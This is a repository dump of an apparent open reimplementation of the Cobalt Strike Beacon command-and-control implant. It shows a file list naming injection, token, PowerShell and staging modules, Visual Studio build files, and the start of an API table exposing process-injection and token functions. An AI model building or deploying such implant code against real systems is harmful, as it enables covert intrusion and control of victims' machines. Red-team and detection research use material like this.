Showing preview only (242K chars total). Download the full file or copy to clipboard to get everything.
Repository: ElJaviLuki/CobaltStrike_OpenBeacon
Branch: master
Commit: 93e5703b064d
Files: 72
Total size: 225.1 KB
Directory structure:
gitextract_3qilwohy/
├── .gitattributes
├── .gitignore
├── Beacon/
│ ├── Beacon.vcxproj
│ ├── Beacon.vcxproj.filters
│ ├── api.c
│ ├── api.h
│ ├── argument.c
│ ├── argument.h
│ ├── beacon.c
│ ├── beacon.h
│ ├── callback.h
│ ├── channel.c
│ ├── channel.h
│ ├── command.h
│ ├── crypto.c
│ ├── crypto.h
│ ├── data.c
│ ├── download.c
│ ├── download.h
│ ├── error.h
│ ├── filesystem.c
│ ├── filesystem.h
│ ├── format.c
│ ├── identity.c
│ ├── identity.h
│ ├── inline_execute_object.c
│ ├── inline_execute_object.h
│ ├── job.c
│ ├── job.h
│ ├── link.c
│ ├── link.h
│ ├── logger.h
│ ├── macros.h
│ ├── main.c
│ ├── memory.c
│ ├── metadata.c
│ ├── metadata.h
│ ├── network.c
│ ├── network.h
│ ├── pch.c
│ ├── pch.h
│ ├── pipe.c
│ ├── pipe.h
│ ├── powershell.c
│ ├── powershell.h
│ ├── process.c
│ ├── process.h
│ ├── protocol.c
│ ├── protocol.h
│ ├── self.c
│ ├── self.h
│ ├── spawn.c
│ ├── spawn.h
│ ├── stage.c
│ ├── stage.h
│ ├── strategy.c
│ ├── strategy.h
│ ├── strategy_default.c
│ ├── strategy_failover.c
│ ├── strategy_random.c
│ ├── task.c
│ ├── thread.c
│ ├── thread.h
│ ├── transform.c
│ ├── transform.h
│ ├── utils.c
│ ├── utils.h
│ ├── web_response.c
│ └── web_response.h
├── CobaltStrike.sln
├── LICENSE
└── README.md
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitattributes
================================================
###############################################################################
# Set default behavior to automatically normalize line endings.
###############################################################################
* text=auto
###############################################################################
# Set default behavior for command prompt diff.
#
# This is need for earlier builds of msysgit that does not have it on by
# default for csharp files.
# Note: This is only used by command line
###############################################################################
#*.cs diff=csharp
###############################################################################
# Set the merge driver for project and solution files
#
# Merging from the command prompt will add diff markers to the files if there
# are conflicts (Merging from VS is not affected by the settings below, in VS
# the diff markers are never inserted). Diff markers may cause the following
# file extensions to fail to load in VS. An alternative would be to treat
# these files as binary and thus will always conflict and require user
# intervention with every merge. To do so, just uncomment the entries below
###############################################################################
#*.sln merge=binary
#*.csproj merge=binary
#*.vbproj merge=binary
#*.vcxproj merge=binary
#*.vcproj merge=binary
#*.dbproj merge=binary
#*.fsproj merge=binary
#*.lsproj merge=binary
#*.wixproj merge=binary
#*.modelproj merge=binary
#*.sqlproj merge=binary
#*.wwaproj merge=binary
###############################################################################
# behavior for image files
#
# image files are treated as binary by default.
###############################################################################
#*.jpg binary
#*.png binary
#*.gif binary
###############################################################################
# diff behavior for common document formats
#
# Convert binary document formats to text before diffing them. This feature
# is only available from the command line. Turn it on by uncommenting the
# entries below.
###############################################################################
#*.doc diff=astextplain
#*.DOC diff=astextplain
#*.docx diff=astextplain
#*.DOCX diff=astextplain
#*.dot diff=astextplain
#*.DOT diff=astextplain
#*.pdf diff=astextplain
#*.PDF diff=astextplain
#*.rtf diff=astextplain
#*.RTF diff=astextplain
================================================
FILE: .gitignore
================================================
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
# User-specific files
*.rsuser
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Mono auto generated files
mono_crash.*
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
[Ww][Ii][Nn]32/
[Aa][Rr][Mm]/
[Aa][Rr][Mm]64/
bld/
[Bb]in/
[Oo]bj/
[Oo]ut/
[Ll]og/
[Ll]ogs/
# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# Visual Studio 2017 auto generated files
Generated\ Files/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUnit
*.VisualState.xml
TestResult.xml
nunit-*.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# Benchmark Results
BenchmarkDotNet.Artifacts/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
# ASP.NET Scaffolding
ScaffoldingReadMe.txt
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_h.h
*.ilk
*.meta
*.obj
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*_wpftmp.csproj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json
# Coverlet is a free, cross platform Code Coverage Tool
coverage*.json
coverage*.xml
coverage*.info
# Visual Studio code coverage results
*.coverage
*.coveragexml
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# NuGet Symbol Packages
*.snupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
*.appxbundle
*.appxupload
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!?*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak
# SQL Server files
*.mdf
*.ldf
*.ndf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
*- [Bb]ackup.rdl
*- [Bb]ackup ([0-9]).rdl
*- [Bb]ackup ([0-9][0-9]).rdl
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# CodeRush personal settings
.cr/personal
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
# Cake - Uncomment if you are using it
# tools/**
# !tools/packages.config
# Tabs Studio
*.tss
# Telerik's JustMock configuration file
*.jmconfig
# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs
# OpenCover UI analysis results
OpenCover/
# Azure Stream Analytics local run output
ASALocalRun/
# MSBuild Binary and Structured Log
*.binlog
# NVidia Nsight GPU debugger configuration file
*.nvuser
# MFractors (Xamarin productivity tool) working folder
.mfractor/
# Local History for Visual Studio
.localhistory/
# BeatPulse healthcheck temp database
healthchecksdb
# Backup folder for Package Reference Convert tool in Visual Studio 2017
MigrationBackup/
# Ionide (cross platform F# VS Code tools) working folder
.ionide/
# Fody - auto-generated XML schema
FodyWeavers.xsd
/Beacon/settings.h
/libtomcrypt/
/libtommath/
================================================
FILE: Beacon/Beacon.vcxproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClInclude Include="api.h" />
<ClInclude Include="argument.h" />
<ClInclude Include="beacon.h" />
<ClInclude Include="callback.h" />
<ClInclude Include="channel.h" />
<ClInclude Include="command.h" />
<ClInclude Include="crypto.h" />
<ClInclude Include="download.h" />
<ClInclude Include="error.h" />
<ClInclude Include="filesystem.h" />
<ClInclude Include="identity.h" />
<ClInclude Include="inline_execute_object.h" />
<ClInclude Include="job.h" />
<ClInclude Include="link.h" />
<ClInclude Include="logger.h" />
<ClInclude Include="macros.h" />
<ClInclude Include="metadata.h" />
<ClInclude Include="network.h" />
<ClInclude Include="pch.h" />
<ClInclude Include="pipe.h" />
<ClInclude Include="powershell.h" />
<ClInclude Include="process.h" />
<ClInclude Include="protocol.h" />
<ClInclude Include="self.h" />
<ClInclude Include="settings.h" />
<ClInclude Include="spawn.h" />
<ClInclude Include="stage.h" />
<ClInclude Include="strategy.h" />
<ClInclude Include="thread.h" />
<ClInclude Include="transform.h" />
<ClInclude Include="utils.h" />
<ClInclude Include="web_response.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="api.c" />
<ClCompile Include="argument.c" />
<ClCompile Include="beacon.c" />
<ClCompile Include="channel.c" />
<ClCompile Include="crypto.c" />
<ClCompile Include="data.c" />
<ClCompile Include="download.c" />
<ClCompile Include="filesystem.c" />
<ClCompile Include="format.c" />
<ClCompile Include="identity.c" />
<ClCompile Include="inline_execute_object.c" />
<ClCompile Include="job.c" />
<ClCompile Include="link.c" />
<ClCompile Include="main.c" />
<ClCompile Include="memory.c" />
<ClCompile Include="metadata.c" />
<ClCompile Include="network.c" />
<ClCompile Include="pch.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="pipe.c" />
<ClCompile Include="powershell.c" />
<ClCompile Include="process.c" />
<ClCompile Include="protocol.c" />
<ClCompile Include="self.c" />
<ClCompile Include="spawn.c" />
<ClCompile Include="stage.c" />
<ClCompile Include="strategy.c" />
<ClInclude Include="strategy_default.c">
<FileType>CppCode</FileType>
</ClInclude>
<ClInclude Include="strategy_random.c">
<FileType>CppCode</FileType>
</ClInclude>
<ClInclude Include="strategy_failover.c">
<FileType>CppCode</FileType>
</ClInclude>
<ClCompile Include="task.c" />
<ClCompile Include="thread.c" />
<ClCompile Include="transform.c" />
<ClCompile Include="utils.c" />
<ClCompile Include="web_response.c" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\libtomcrypt\libtomcrypt_VS2008.vcxproj">
<Project>{e3802982-dcb6-4d85-a2bd-6b08f0657e79}</Project>
</ProjectReference>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{95502b5e-5763-4ec5-a64c-1e9e33409e2f}</ProjectGuid>
<RootNamespace>Beacon</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)out\$(Configuration)\$(Platform)</OutDir>
<IntDir>$(SolutionDir)int\$(Configuration)\$(Platform)</IntDir>
<LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)out\$(Configuration)\$(Platform)</OutDir>
<IntDir>$(SolutionDir)int\$(Configuration)\$(Platform)</IntDir>
<LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)out\$(Configuration)\$(Platform)</OutDir>
<IntDir>$(SolutionDir)int\$(Configuration)\$(Platform)</IntDir>
<LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)out\$(Configuration)\$(Platform)</OutDir>
<IntDir>$(SolutionDir)int\$(Configuration)\$(Platform)</IntDir>
<LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard>
<LanguageStandard_C>stdc17</LanguageStandard_C>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<AdditionalIncludeDirectories>$(SolutionDir)libtomcrypt\src\headers;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ExceptionHandling>false</ExceptionHandling>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard>
<LanguageStandard_C>stdc17</LanguageStandard_C>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>$(SolutionDir)libtomcrypt\src\headers;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<Optimization>MinSpace</Optimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ExceptionHandling>false</ExceptionHandling>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard>
<LanguageStandard_C>stdc17</LanguageStandard_C>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<AdditionalIncludeDirectories>$(SolutionDir)libtomcrypt\src\headers;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ExceptionHandling>false</ExceptionHandling>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard>
<LanguageStandard_C>stdc17</LanguageStandard_C>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>$(SolutionDir)libtomcrypt\src\headers;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<Optimization>MinSpace</Optimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ExceptionHandling>false</ExceptionHandling>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
================================================
FILE: Beacon/Beacon.vcxproj.filters
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="beacon.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="logger.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="pch.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="macros.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="callback.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="settings.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="error.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="command.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="spawn.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="identity.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="self.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="filesystem.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="argument.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="protocol.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="network.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="link.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="utils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="pipe.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="job.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="channel.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="download.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="api.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="inline_execute_object.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="stage.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="powershell.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="metadata.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="process.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="thread.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="web_response.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="crypto.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="transform.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="strategy_default.c">
<Filter>Source Files</Filter>
</ClInclude>
<ClInclude Include="strategy_random.c">
<Filter>Source Files</Filter>
</ClInclude>
<ClInclude Include="strategy_failover.c">
<Filter>Source Files</Filter>
</ClInclude>
<ClInclude Include="strategy.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="pch.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="beacon.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="data.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="format.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="identity.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="spawn.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="task.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="self.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="filesystem.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="network.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="argument.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="job.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="protocol.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="link.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="utils.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="pipe.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="channel.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="download.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="inline_execute_object.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="api.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="stage.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="powershell.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="process.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="metadata.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="thread.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="web_response.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="memory.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="crypto.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="transform.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="strategy.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
================================================
FILE: Beacon/api.c
================================================
#include "pch.h"
#include "api.h"
void BeaconAPI(bapi* beaconApi)
{
*beaconApi = (bapi){
LoadLibraryA,
FreeLibrary,
GetProcAddress,
GetModuleHandleA,
BeaconDataParse,
BeaconDataPtr,
BeaconDataInt,
BeaconDataShort,
BeaconDataLength,
BeaconDataExtract,
BeaconFormatAlloc,
BeaconFormatReset,
BeaconFormatPrintf,
BeaconFormatAppend,
BeaconFormatFree,
BeaconFormatToString,
BeaconFormatInt,
BeaconOutput,
BeaconPrintf,
BeaconErrorD,
BeaconErrorDD,
BeaconErrorNA,
BeaconUseToken,
BeaconIsAdmin,
BeaconRevertToken,
BeaconGetSpawnTo,
BeaconCleanupProcess,
BeaconInjectProcess,
BeaconSpawnTemporaryProcess,
BeaconInjectTemporaryProcess,
toWideChar
};
}
PROC* FindOrAddDynamicFunction(bapi* api, PROC newFunction)
{
PROC* potentialFuncLocation = NULL;
// Iterate through the dynamic function array
for (int index = 0; index < MAX_DYNAMIC_FUNCTIONS; ++index)
{
PROC* currentFunction = &api->dynamicFns[index];
// Check if the current function matches the one we're looking for
if (*currentFunction == newFunction)
{
// Function found, return its pointer
